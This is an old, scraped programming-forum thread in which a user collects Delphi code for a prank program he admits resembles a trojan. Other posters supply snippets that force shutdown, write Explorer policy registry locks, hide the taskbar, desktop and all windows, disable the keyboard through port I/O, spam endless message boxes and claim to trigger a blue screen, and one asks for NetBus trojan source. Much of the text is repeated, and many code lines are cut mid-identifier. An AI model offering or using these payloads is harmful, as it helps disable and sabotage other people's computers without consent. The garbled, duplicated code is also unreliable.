geoka
asked on
nasty functions
can you think of any nasty funkctions, like swithing the screen off, hiding the mouse, shutting down the computer ???
You should not have answered that
motaz, just to help you out here.... How can they be nasty if the functions you call are windows are function?....
Is windows nasty?....
Is windows nasty?....
is there any point to this ?
this isnt really the place to be asking these things ..
this isnt really the place to be asking these things ..
ASKER
he guys, keep on the floor, it's of course only for private use, i don't wanna write a virus, or so in delphi, that is hardly possible i think.
to robert: why shoudn't he ???
to montaz: thx. is there any function call which switches back the systems to normal mode ???
to robert: why shoudn't he ???
to montaz: thx. is there any function call which switches back the systems to normal mode ???
Hi geoka,
I'm not sure, and what is the meaning of nasty?
I'm not sure, and what is the meaning of nasty?
Motaz, i simply means to play tricks on someone, for example, pull a chair out on someone when they are about to sit down..... nasty... but i don't consider suspending the system nasty, although yes he stated nasty, is it really nasty to learn out how to reboot your computer.....
As long as you don't take advantage of it and run it hiddenly on someones computer..... just for personal use... i can't see the problem, there have been many people asking for the same, but with different title headers, even Barry (inthe) himself has answered questions on how to get system passwords, now that could be used as some kind of "hacking" program?......
Let you decide for yourself on that one....
Craig C.
As long as you don't take advantage of it and run it hiddenly on someones computer..... just for personal use... i can't see the problem, there have been many people asking for the same, but with different title headers, even Barry (inthe) himself has answered questions on how to get system passwords, now that could be used as some kind of "hacking" program?......
Let you decide for yourself on that one....
Craig C.
"how can I set the mouse cursor position ?" 100 points
SetCursorPos (x1,y1);
that could be a nasty function.. you can use it to cheat on someone with a hidden program.. any function can be "nasty" if you give it a "nasty" use.
SetCursorPos (x1,y1);
that could be a nasty function.. you can use it to cheat on someone with a hidden program.. any function can be "nasty" if you give it a "nasty" use.
ASKER
bryan7: very cool. i thought of faking the user that he isn't able to move the cursor the a defined are, eg. to the start-button of the win-taskbar.
thx
thx
showcursor(false)
showcursor(true) ;-)
showcursor(true) ;-)
Have a look at this URL...
http://www.freeyellow.com/members4/jaymol/
If you like any of the progs, let me know and I can forward the source.
John.
http://www.freeyellow.com/members4/jaymol/
If you like any of the progs, let me know and I can forward the source.
John.
ASKER
to inthe: this works ? i'll have a try, upto now i did this with setting the position of the cursor to [-1;-1]. ;-))
to jaymol: thx, I'll have a look at it
to jaymol: thx, I'll have a look at it
Jaymol, a cruel little joke....
1.remove your program from the task manager
2.in the close query event... put: canclose:=false;
3. Make your program invisible.....
4 - 5 days later, there fed up of the fact thier computer does not shutdown, they will format it... or worse :-)..... KICK IT.
Craig C.
1.remove your program from the task manager
2.in the close query event... put: canclose:=false;
3. Make your program invisible.....
4 - 5 days later, there fed up of the fact thier computer does not shutdown, they will format it... or worse :-)..... KICK IT.
Craig C.
and yeah, your choice on if the program runs on startup.......
My contribution to this pathetic exploit of windows...
procedure addlock(num: integer);
var
commandtobe,sKey : string;
w: hwnd;
reg : TRegIniFile;
begin
{key:='(Default)';}
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_CURRENT_USER;
//folder = something to store info in
//key = key to which edit the data
//titleofkey = data for key mame
//commandline.....
//HKEY_USERS\.DEFAULT\Soft ware\Micro soft\Windo ws\Current Version\Po licies
{reg.erasesection('Softwar e\Microsof t\Windows\ CurrentVer sion\Polic ies\');}
case num of
1: commandtobe:='NoClose'; //Disable Shutdown
2: commandtobe:='NoDrives';
3: commandtobe:='NoNetHood';
4: commandtobe:='NoSetFolders ';
else
commandtobe:='NoClose';
end;
case num of
1: reg.writestring('Software\ Microsoft\ Windows\Cu rrentVersi on\Policie s\Explorer ',commandt obe,'1');
2: reg.writeinteger('Software \Microsoft \Windows\C urrentVers ion\Polici es\Explore r',command tobe,67108 863);
3: reg.writestring('Software\ Microsoft\ Windows\Cu rrentVersi on\Policie s\Explorer ',commandt obe,'1');
4: reg.writestring('Software\ Microsoft\ Windows\Cu rrentVersi on\Policie s\Explorer ',commandt obe,'1');
end;
reg.Free;
end;
procedure removelocks;
var
reg : TRegIniFile;
begin
{key:='(Default)';}
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_CURRENT_USER;
reg.erasesection('Software \Microsoft \Windows\C urrentVers ion\Polici es\');
reg.Free;
end;
1: commandtobe:='NoClose'; //Remove Shutdown Option
2: commandtobe:='NoDrives'; //Remove Drives from my computer
3: commandtobe:='NoNetHood'; //Disable network
4: commandtobe:='NoSetFolders '; //Can't remember something intresting though? :)...
Removelocks simply removes what you did.... but these are supposed to be used on networks, so please don't even think about it.....
Craig C.
My contribution to this pathetic exploit of windows...
procedure addlock(num: integer);
var
commandtobe,sKey : string;
w: hwnd;
reg : TRegIniFile;
begin
{key:='(Default)';}
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_CURRENT_USER;
//folder = something to store info in
//key = key to which edit the data
//titleofkey = data for key mame
//commandline.....
//HKEY_USERS\.DEFAULT\Soft
{reg.erasesection('Softwar
case num of
1: commandtobe:='NoClose'; //Disable Shutdown
2: commandtobe:='NoDrives';
3: commandtobe:='NoNetHood';
4: commandtobe:='NoSetFolders
else
commandtobe:='NoClose';
end;
case num of
1: reg.writestring('Software\
2: reg.writeinteger('Software
3: reg.writestring('Software\
4: reg.writestring('Software\
end;
reg.Free;
end;
procedure removelocks;
var
reg : TRegIniFile;
begin
{key:='(Default)';}
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_CURRENT_USER;
reg.erasesection('Software
reg.Free;
end;
1: commandtobe:='NoClose'; //Remove Shutdown Option
2: commandtobe:='NoDrives'; //Remove Drives from my computer
3: commandtobe:='NoNetHood'; //Disable network
4: commandtobe:='NoSetFolders
Removelocks simply removes what you did.... but these are supposed to be used on networks, so please don't even think about it.....
Craig C.
ASKER
to craig_capel: i tryed this a week ago, the problem is that if you set action:=caNone in the OnClose event, the task-manager waits 10 seconds, and shuts the program down, because it donot react on his commands.
procedure OpenCloseCD(TrueForOpenFal
{ Works as well as OpenCloseCDDrive() above, }
{ but you don't have to specify a drive letter. }
{ Thanks to Bence Parhuzamos [parhuzamos@yahoo.com] for this code. }
var
mci: TMCI_Open_Parms;
begin
FillChar(mci, SizeOf(mci), #0);
mci.lpstrDeviceType := PChar('CDAudio');
mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@mci));
mciSendCommand(mci.wDevice
{ MCI_SET_DOOR_OPEN = 256 }
{ MCI_SET_DOOR_CLOSED = 512 }
mciSendCommand(mci.wDevice
end;
openclosecd(true); //opens the drive
openclosecd(false); //close the drive
Ok thats enough from me!...
ASKER
okay, this code could work. that's stealth, isn't it ;-))
The shutdown Motaz provided will not work. It's actually
ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE,0);
If the computer has an ATX motherboard, the PC will even auto-poweroff.
Other neat trick:
ShowWindow(FindWindow('She ll_TrayWnd ',Nil),SW_ HIDE);
This hides the taskbar. Of course, the user can still get the Start Menu by pressing the Win95-key.
There was a nice way using SystemParametersInfo() or something like that to disable ALL SYSTEM KEYS but I don't know it from memory.
To hang a computer, create a thread, set it to the highest possible priority and put an endless loop in it. This will eat up all CPU time (unless you have a really fast computer) --> I made this mistake a few times :-).
Oh wait, this is sneaky too:
ShowWindow(FindWindow('Pro gman',Nil) ,SW_HIDE);
This hides the Program Manager -- ALL DESKTOP ICONS!
To confuse people: Create a form, set its style to Always On Top, and state to wsMaximized. Now put this in its OnPaint:
Procedure Form1.Form1Paint(Sender:TO bjecT);
Begin
PaintDesktop(Canvas.Handle );
End;
Your form will fill the whole screen, and it will paint the desktop wallpaper all over itself. So, the user won't be able to see anything. Problem is, the program can still be closed by Alt-F4 (rewrite the CloseQuery event) or Ctrl-Alt-Delete (Only way to prevent this is to disable system keys).
Yeah, there are *lots* of "nasty" things you can do in Windows... ;-).
ExitWindowsEx(EWX_SHUTDOWN
If the computer has an ATX motherboard, the PC will even auto-poweroff.
Other neat trick:
ShowWindow(FindWindow('She
This hides the taskbar. Of course, the user can still get the Start Menu by pressing the Win95-key.
There was a nice way using SystemParametersInfo() or something like that to disable ALL SYSTEM KEYS but I don't know it from memory.
To hang a computer, create a thread, set it to the highest possible priority and put an endless loop in it. This will eat up all CPU time (unless you have a really fast computer) --> I made this mistake a few times :-).
Oh wait, this is sneaky too:
ShowWindow(FindWindow('Pro
This hides the Program Manager -- ALL DESKTOP ICONS!
To confuse people: Create a form, set its style to Always On Top, and state to wsMaximized. Now put this in its OnPaint:
Procedure Form1.Form1Paint(Sender:TO
Begin
PaintDesktop(Canvas.Handle
End;
Your form will fill the whole screen, and it will paint the desktop wallpaper all over itself. So, the user won't be able to see anything. Problem is, the program can still be closed by Alt-F4 (rewrite the CloseQuery event) or Ctrl-Alt-Delete (Only way to prevent this is to disable system keys).
Yeah, there are *lots* of "nasty" things you can do in Windows... ;-).
P.S. geoka --
It IS possible to write a virus or Trojan in Delphi, just like it is possible in any other language (Except VB perhaps [grin]).
It IS possible to write a virus or Trojan in Delphi, just like it is possible in any other language (Except VB perhaps [grin]).
LOL@grin, love it :)......
ASKER
vb, get this bloody language outa here. ;-))
a trojan maybe, but not a real virus, like a bootsekrot-virus, you'll need assembler here. c wouldn't do this, too, maybe fragmentable but not the whole virus.
to nrico: thx. hiding taskbar already implemented. hiding desktop icons is very cool. :-))
i didn't know that overlaying the desktop can made as easy as well. i copyed into a dynamically cenerated bitmap first. alt+F4 can be shouted with adding key=0; into keydown or keyup event. :-)
by the way: there are many types of getting the system to a lower point, i mean, what are the parameters in ExitWindowsEx for logging of and rebooting ??
windows is nasty, you're right, if you can think of any other funktions i can use, just post it. :-)
a trojan maybe, but not a real virus, like a bootsekrot-virus, you'll need assembler here. c wouldn't do this, too, maybe fragmentable but not the whole virus.
to nrico: thx. hiding taskbar already implemented. hiding desktop icons is very cool. :-))
i didn't know that overlaying the desktop can made as easy as well. i copyed into a dynamically cenerated bitmap first. alt+F4 can be shouted with adding key=0; into keydown or keyup event. :-)
by the way: there are many types of getting the system to a lower point, i mean, what are the parameters in ExitWindowsEx for logging of and rebooting ??
windows is nasty, you're right, if you can think of any other funktions i can use, just post it. :-)
Something rely annoying is to take a timer to run a procedure every 5th second with the code
begin
Randomize;
SetCursorPos(Random(Screen .Width - 1) + 1, Random(Screen.Height - 1) + 1);
end;
Another rely annoying thing is to use the comp SetKey (http://delphi.icm.edu.pl/ftp/d20free/setkey.zip) and set SystemKey to kbOff. then the Ctrl, Alt, Esc and Win key will stop work.
To make the main form invisible click View -> Project Source and then write Application.ShowMainForm := False; just over Application.Run;.
begin
Randomize;
SetCursorPos(Random(Screen
end;
Another rely annoying thing is to use the comp SetKey (http://delphi.icm.edu.pl/ftp/d20free/setkey.zip) and set SystemKey to kbOff. then the Ctrl, Alt, Esc and Win key will stop work.
To make the main form invisible click View -> Project Source and then write Application.ShowMainForm := False; just over Application.Run;.
>by the way: there are many types of
>getting the system to a lower point, i
>mean, what are the parameters in
>ExitWindowsEx for logging of and
>rebooting ??
ExitWindowsEx(Flags,0);
Flags can be any of this
EWX_SHUTDOWN
EWX_POWEROFF
EWX_LOGOFF
EWX_REBOOT
EXW_POWEROFF by itself isn't useful -- it has to be combined with EWX_SHUTDOWN, but I've noticed the system powers off as well if you simply use EWX_SHUTDOWN, so I guess EWX_POWEROFF is kind of useless.
All these can be combined (ORed or +ed) with EWX_FORCE to force all processes to terminate, i.e. Windows doesn't query the programs if they're OK to quit, just tells them to pack in and move out ;-).
Okay, so maybe a virus CAN'T be done, but a Trojan certainly can. I know, cuz I've done it once... [whoops] :-)
Something else that's VEEEEERY irritating is *lotsa* messageboxes --
Repeat
MessageBox(0,'Irritating, isn''t it?','Hello there!',MB_YESNO Or MB_ICONSTOP);
Until (1=2); // Like that's gonna happen :-)
Oh, and this is cool too:
(It just isn't very useful, but what the hey :-)
Use the function EnumWindow() and combine it with SetWindowText().
I am not at my own computer so I can't check details right now, but using this trick you enumerate through ALL windows with a callback proc, and you get a hWnd passed to it. Using SetWindowText(), you can change the caption of ALL windows on your desktop to whatever you wish.
Umm.. did I mention you can use this technique in combination with SetWindowPos() (I believe) to move all windows to another location?
Hint: Move them to (Screen.DesktopWidth,Scree n.DesktopH eight) so that they are all moved to the lower right corner of your desktop -- just out of sight ;-).
Of course, you can simply ShowWindow(hWnd,SW_HIDE) all of the windows. This hides *EVERYTHING*, including the taskbar and desktop icons you've already hidden.
Now... how about we want to generate a BLUE SCREEN OF DEATH at will? (This will also terminate your program, but oh well...)
Put this somewhere in your code and watch Windows' most famous screen:
Asm INT 10h End;
To get back to Craig C's policies:
There are _MORE_ of those registry settings you can put there.
Just create a binary or integer with a value of 1 in HKEY_CURRENT_USER\Software \Microsoft \Windows\C urrentVers ion\Polici es\Explore r, with one of the following names:
NoRun : Hide Execute command
NoFind : Hide Search
NoClose : Hide Close
NoSetFolders : Hide Control Pannel and printers
NoAddPrinter : You can't add printers
NoDeletePrinter : Well duh...
NoNetHood : Hide Network Neighbourhood
NoLogoff : You cannot log off
You can use POLEDIT.EXE (comes on your Windows CD, I believe under PowerTools) to set some restrictions on your own system and see what registry settings are being modified because of it. I can assure you, there's lotsa things more to restrict ;-)
>getting the system to a lower point, i
>mean, what are the parameters in
>ExitWindowsEx for logging of and
>rebooting ??
ExitWindowsEx(Flags,0);
Flags can be any of this
EWX_SHUTDOWN
EWX_POWEROFF
EWX_LOGOFF
EWX_REBOOT
EXW_POWEROFF by itself isn't useful -- it has to be combined with EWX_SHUTDOWN, but I've noticed the system powers off as well if you simply use EWX_SHUTDOWN, so I guess EWX_POWEROFF is kind of useless.
All these can be combined (ORed or +ed) with EWX_FORCE to force all processes to terminate, i.e. Windows doesn't query the programs if they're OK to quit, just tells them to pack in and move out ;-).
Okay, so maybe a virus CAN'T be done, but a Trojan certainly can. I know, cuz I've done it once... [whoops] :-)
Something else that's VEEEEERY irritating is *lotsa* messageboxes --
Repeat
MessageBox(0,'Irritating, isn''t it?','Hello there!',MB_YESNO Or MB_ICONSTOP);
Until (1=2); // Like that's gonna happen :-)
Oh, and this is cool too:
(It just isn't very useful, but what the hey :-)
Use the function EnumWindow() and combine it with SetWindowText().
I am not at my own computer so I can't check details right now, but using this trick you enumerate through ALL windows with a callback proc, and you get a hWnd passed to it. Using SetWindowText(), you can change the caption of ALL windows on your desktop to whatever you wish.
Umm.. did I mention you can use this technique in combination with SetWindowPos() (I believe) to move all windows to another location?
Hint: Move them to (Screen.DesktopWidth,Scree
Of course, you can simply ShowWindow(hWnd,SW_HIDE) all of the windows. This hides *EVERYTHING*, including the taskbar and desktop icons you've already hidden.
Now... how about we want to generate a BLUE SCREEN OF DEATH at will? (This will also terminate your program, but oh well...)
Put this somewhere in your code and watch Windows' most famous screen:
Asm INT 10h End;
To get back to Craig C's policies:
There are _MORE_ of those registry settings you can put there.
Just create a binary or integer with a value of 1 in HKEY_CURRENT_USER\Software
NoRun : Hide Execute command
NoFind : Hide Search
NoClose : Hide Close
NoSetFolders : Hide Control Pannel and printers
NoAddPrinter : You can't add printers
NoDeletePrinter : Well duh...
NoNetHood : Hide Network Neighbourhood
NoLogoff : You cannot log off
You can use POLEDIT.EXE (comes on your Windows CD, I believe under PowerTools) to set some restrictions on your own system and see what registry settings are being modified because of it. I can assure you, there's lotsa things more to restrict ;-)
in fact there is a very popular trojan written in delphi 3.. NETBUS
I got the source for the version 1.53 ( current is 2.1 )
I got the source for the version 1.53 ( current is 2.1 )
in fact there is a very popular trojan written in delphi 3.. NETBUS
I got the source for the version 1.53 ( current is 2.1 )
I got the source for the version 1.53 ( current is 2.1 )
ASKER
netbus is written in delphi ? cool. i have guessed that when i was looking at the compiled code, because of the E... Objects.
he brain, may you forward me the code ??
geo@line.at
huge thx to nrico. this random-message-looping is already included but you can set the count to 20 or so, that it will only appear 20 times, hopefully. ;-).
emm.. isn't that a trojan what i'm writting ? i mean it will only work in a specific netzwork area, but it seems to me like to be one, isn't it ?
enumwindow(), setwindowtext(), setwindowpos() seam to me pretty annoying, should be included too. i don'`t think that they are found in the delphi-help file, so can you post me the syntax of these ??
ShowWindow(hWnd,SW_HIDE) ??
i know this command, but not with an hWnd (i did it with a handle). can you post an example how to use correct, because i didn't really know what an hWnd is.
blue screen, wow. must be included. by the way: does anybody know the assembler code to reset to computer, like pressing ctrl+alt+entf 2 times ???
he brain, may you forward me the code ??
geo@line.at
huge thx to nrico. this random-message-looping is already included but you can set the count to 20 or so, that it will only appear 20 times, hopefully. ;-).
emm.. isn't that a trojan what i'm writting ? i mean it will only work in a specific netzwork area, but it seems to me like to be one, isn't it ?
enumwindow(), setwindowtext(), setwindowpos() seam to me pretty annoying, should be included too. i don'`t think that they are found in the delphi-help file, so can you post me the syntax of these ??
ShowWindow(hWnd,SW_HIDE) ??
i know this command, but not with an hWnd (i did it with a handle). can you post an example how to use correct, because i didn't really know what an hWnd is.
blue screen, wow. must be included. by the way: does anybody know the assembler code to reset to computer, like pressing ctrl+alt+entf 2 times ???
To reset the computer, use the EWX_REBOOT + EWX_FORCE flag in ExitWindowsEx.
It was MoveWindow(), not SetWindowPos().
These functions are all documented in your Win32 programmer's reference, which comes with Delphi 4.
In your start menu, go to Start|Programs|Borland Delphi 4|Help|MS SDK Files|Win32 Progammer's Reference.
I believe the file is located in c:\program files\common files\borland shared\MSHelp, but I'm not entirely sure about that...
If you don't have it, you should execute an FTP search on win32.hlp and download it (approx. 20Mb)
You can execute an FTP-search at
http://ftpsearch.lycos.com/?form=advanced
Actually, a hWnd is the same thing as a Handle. HWND is just the C++ way of saying "Handle of WiNDow", and the EnumWindow() function passes a handle to your callback proc for each top-level window on the desktop.
(HWND is a type in Delphi as well -- it's just an integer)
It was MoveWindow(), not SetWindowPos().
These functions are all documented in your Win32 programmer's reference, which comes with Delphi 4.
In your start menu, go to Start|Programs|Borland Delphi 4|Help|MS SDK Files|Win32 Progammer's Reference.
I believe the file is located in c:\program files\common files\borland shared\MSHelp, but I'm not entirely sure about that...
If you don't have it, you should execute an FTP search on win32.hlp and download it (approx. 20Mb)
You can execute an FTP-search at
http://ftpsearch.lycos.com/?form=advanced
Actually, a hWnd is the same thing as a Handle. HWND is just the C++ way of saying "Handle of WiNDow", and the EnumWindow() function passes a handle to your callback proc for each top-level window on the desktop.
(HWND is a type in Delphi as well -- it's just an integer)
I am supprised at all these responces, i bet EE are having a nightmare!...
ok i think this is nasty.....
asm
in al,21h
or al,2;
out 21h,al;
end;
This WILL only work on 95 / 98 systems, NT controls the use of ports......
I forget now what it is to put the keyboard back again.... hehe
asm
in al,21h
or al,2;
out 21h,al;
end;
This WILL only work on 95 / 98 systems, NT controls the use of ports......
I forget now what it is to put the keyboard back again.... hehe
Craig, that simply rulez! ;-)
Okay, here are some API defs.
I copied and pasted these definitions from MSDN, I'll write an example afterwards:
-------------------------- ---------- --
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );
Parameters
lpEnumFunc
Long pointer to an application-defined callback function. For more information, see EnumWindowsProc.
lParam
Specifies an application-defined value to be passed to the callback function.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
The EnumWindows function does not enumerate child windows.
This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed.
-------------------------- ---------- --
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
Parameters
hwnd
Handle to a top-level window.
lParam
Specifies the application-defined value given in EnumWindows or EnumDesktopWindows.
Return Values
TRUE continues enumeration. FALSE stops enumeration.
Remarks
An application must register this callback function by passing its address to EnumWindows or EnumDesktopWindows.
-------------------------- ---------- --
int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount);
Parameters
hWnd
Handle to the window or control containing the text.
lpString
Long pointer to the buffer that will receive the text.
nMaxCount
Specifies the maximum number of characters to copy to the buffer, including the NULL character. If the text exceeds this limit, it is truncated.
Return Values
The length, in characters, of the copied string, not including the terminating null character, indicates success. Zero indicates that the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid. To get extended error information, call GetLastError.
This function cannot retrieve the text of an edit control in another application.
Remarks
When working with RAPI for Windows CE versions 1.0 and 1.01, use the PegGetWindowText function.
If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string.
-------------------------- ---------- --
BOOL SetWindowText( HWND hWnd, LPCTSTR lpString );
Parameters
hWnd
Handle to the window or control whose text is to be changed.
lpString
Long pointer to a null-terminated string to be used as the new title or control text.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
If the target window is owned by the current process, SetWindowText causes a WM_SETTEXT message to be sent to the specified window or control. If the control is a list box control created with the WS_CAPTION style, however, SetWindowText sets the text for the control, not for the list box entries.
The SetWindowText function does not expand tab characters (ASCII code 0x09). Tab characters are displayed as vertical bar (|) characters.
-------------------------- ---------- --
BOOL MoveWindow( HWND hWnd, int nX, int nY, int nWidth, int nHeight,
BOOL bRepaint);
Parameters
hWnd
Handle to the window.
X
Specifies the new position of the left side of the window.
Y
Specifies the new position of the top of the window.
nWidth
Specifies the new width of the window.
nHeight
Specifies the new height of the window.
bRepaint
Boolean that specifies whether the window is to be repainted. If this parameter is TRUE, the window receives a WM_PAINT message. If the parameter is FALSE, no repainting of any kind occurs. This applies to the client area, the nonclient area (including the title bar and scroll bars), and any part of the parent window uncovered as a result of moving a child window. If this parameter is FALSE, the application must explicitly invalidate or redraw any parts of the window and parent window that need redrawing.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
-------------------------- ---------- --
Here's an example. It assumes you have a TMemo component named Memo1 on your form, and a TButton named Button1.
(The event is the button's OnClick);
Function GetWinTxt(Handle:HWND):Str ing;
Var
S:String;
L:Integer;
Begin
L:=GetWindowText(Handle,PC har(S),255 );
SetLength(S,L);
GetWinTxt:=S;
End;
Function EnumProc(Handle:HWND;Param :LPARAM):B oolean;
Begin
Memo1.Lines.Add(GetWinTxt( Handle)+' (Handle='+IntToStr(Handle) +')');
EnumProc:=True;
End;
Procedure Form1.Button1Click(Sender: TObject);
Begin
EnumWindows(@EnumProc,0);
End;
If you click the button, this snippet will enumerate all windows and write their caption+handle to the Memo.
Of course, you could do whatever you wish in the EnumProc() function... ;-)
Okay, here are some API defs.
I copied and pasted these definitions from MSDN, I'll write an example afterwards:
--------------------------
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );
Parameters
lpEnumFunc
Long pointer to an application-defined callback function. For more information, see EnumWindowsProc.
lParam
Specifies an application-defined value to be passed to the callback function.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
The EnumWindows function does not enumerate child windows.
This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed.
--------------------------
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
Parameters
hwnd
Handle to a top-level window.
lParam
Specifies the application-defined value given in EnumWindows or EnumDesktopWindows.
Return Values
TRUE continues enumeration. FALSE stops enumeration.
Remarks
An application must register this callback function by passing its address to EnumWindows or EnumDesktopWindows.
--------------------------
int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount);
Parameters
hWnd
Handle to the window or control containing the text.
lpString
Long pointer to the buffer that will receive the text.
nMaxCount
Specifies the maximum number of characters to copy to the buffer, including the NULL character. If the text exceeds this limit, it is truncated.
Return Values
The length, in characters, of the copied string, not including the terminating null character, indicates success. Zero indicates that the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid. To get extended error information, call GetLastError.
This function cannot retrieve the text of an edit control in another application.
Remarks
When working with RAPI for Windows CE versions 1.0 and 1.01, use the PegGetWindowText function.
If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string.
--------------------------
BOOL SetWindowText( HWND hWnd, LPCTSTR lpString );
Parameters
hWnd
Handle to the window or control whose text is to be changed.
lpString
Long pointer to a null-terminated string to be used as the new title or control text.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
If the target window is owned by the current process, SetWindowText causes a WM_SETTEXT message to be sent to the specified window or control. If the control is a list box control created with the WS_CAPTION style, however, SetWindowText sets the text for the control, not for the list box entries.
The SetWindowText function does not expand tab characters (ASCII code 0x09). Tab characters are displayed as vertical bar (|) characters.
--------------------------
BOOL MoveWindow( HWND hWnd, int nX, int nY, int nWidth, int nHeight,
BOOL bRepaint);
Parameters
hWnd
Handle to the window.
X
Specifies the new position of the left side of the window.
Y
Specifies the new position of the top of the window.
nWidth
Specifies the new width of the window.
nHeight
Specifies the new height of the window.
bRepaint
Boolean that specifies whether the window is to be repainted. If this parameter is TRUE, the window receives a WM_PAINT message. If the parameter is FALSE, no repainting of any kind occurs. This applies to the client area, the nonclient area (including the title bar and scroll bars), and any part of the parent window uncovered as a result of moving a child window. If this parameter is FALSE, the application must explicitly invalidate or redraw any parts of the window and parent window that need redrawing.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
--------------------------
Here's an example. It assumes you have a TMemo component named Memo1 on your form, and a TButton named Button1.
(The event is the button's OnClick);
Function GetWinTxt(Handle:HWND):Str
Var
S:String;
L:Integer;
Begin
L:=GetWindowText(Handle,PC
SetLength(S,L);
GetWinTxt:=S;
End;
Function EnumProc(Handle:HWND;Param
Begin
Memo1.Lines.Add(GetWinTxt(
EnumProc:=True;
End;
Procedure Form1.Button1Click(Sender:
Begin
EnumWindows(@EnumProc,0);
End;
If you click the button, this snippet will enumerate all windows and write their caption+handle to the Memo.
Of course, you could do whatever you wish in the EnumProc() function... ;-)
Craig, that simply rulez! ;-)
Okay, here are some API defs.
I copied and pasted these definitions from MSDN, I'll write an example afterwards:
-------------------------- ---------- --
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );
Parameters
lpEnumFunc
Long pointer to an application-defined callback function. For more information, see EnumWindowsProc.
lParam
Specifies an application-defined value to be passed to the callback function.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
The EnumWindows function does not enumerate child windows.
This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed.
-------------------------- ---------- --
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
Parameters
hwnd
Handle to a top-level window.
lParam
Specifies the application-defined value given in EnumWindows or EnumDesktopWindows.
Return Values
TRUE continues enumeration. FALSE stops enumeration.
Remarks
An application must register this callback function by passing its address to EnumWindows or EnumDesktopWindows.
-------------------------- ---------- --
int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount);
Parameters
hWnd
Handle to the window or control containing the text.
lpString
Long pointer to the buffer that will receive the text.
nMaxCount
Specifies the maximum number of characters to copy to the buffer, including the NULL character. If the text exceeds this limit, it is truncated.
Return Values
The length, in characters, of the copied string, not including the terminating null character, indicates success. Zero indicates that the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid. To get extended error information, call GetLastError.
This function cannot retrieve the text of an edit control in another application.
Remarks
When working with RAPI for Windows CE versions 1.0 and 1.01, use the PegGetWindowText function.
If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string.
-------------------------- ---------- --
BOOL SetWindowText( HWND hWnd, LPCTSTR lpString );
Parameters
hWnd
Handle to the window or control whose text is to be changed.
lpString
Long pointer to a null-terminated string to be used as the new title or control text.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
Remarks
If the target window is owned by the current process, SetWindowText causes a WM_SETTEXT message to be sent to the specified window or control. If the control is a list box control created with the WS_CAPTION style, however, SetWindowText sets the text for the control, not for the list box entries.
The SetWindowText function does not expand tab characters (ASCII code 0x09). Tab characters are displayed as vertical bar (|) characters.
-------------------------- ---------- --
BOOL MoveWindow( HWND hWnd, int nX, int nY, int nWidth, int nHeight,
BOOL bRepaint);
Parameters
hWnd
Handle to the window.
X
Specifies the new position of the left side of the window.
Y
Specifies the new position of the top of the window.
nWidth
Specifies the new width of the window.
nHeight
Specifies the new height of the window.
bRepaint
Boolean that specifies whether the window is to be repainted. If this parameter is TRUE, the window receives a WM_PAINT message. If the parameter is FALSE, no repainting of any kind occurs. This applies to the client area, the nonclient area (including the title bar and scroll bars), and any part of the parent window uncovered as a result of moving a child window. If this parameter is FALSE, the application must explicitly invalidate or redraw any parts of the window and parent window that need redrawing.
Return Values
Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.
-------------------------- ---------- --
Here's an example. It assumes you have a TMemo component named Memo1 on your form, and a TButton named Button1.
(The event is the button's OnClick);
Function GetWinTxt(Handle:HWND):Str ing;
Var
S:String;
L:Integer;
Begin
L:=GetWindowText(Handle,PC har(S),255 );
SetLength(S,L);
GetWinTxt:=S;
End;
Function EnumProc(Handle:HWND;Param :LPARAM):B oolean;
Begin
Memo1.Lines.Add(GetWinTxt( Handle)+' (Handle='+IntToStr(Handle) +')');
EnumProc:=True;
End;
Procedure Form1.Button1Click(Sender: TObject);
Begin
EnumWindows(@EnumProc,0);
End;
If you click the button, this snippet will enumerate all windows and write their caption+handle to the Memo.
Of course, you could do whatever you wish in the EnumProc() function... ;-)
Okay, here are some API defs.
I copied and pasted these definitions from MSDN, I'll write an example afterwards:
--------------------------
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );
Parameters
lpEnumFunc
Long pointer to an application-defined callback function. For more information, see EnumWindowsProc.
lParam
Specifies an application-defined value to be passed to the callback function.
Return Values
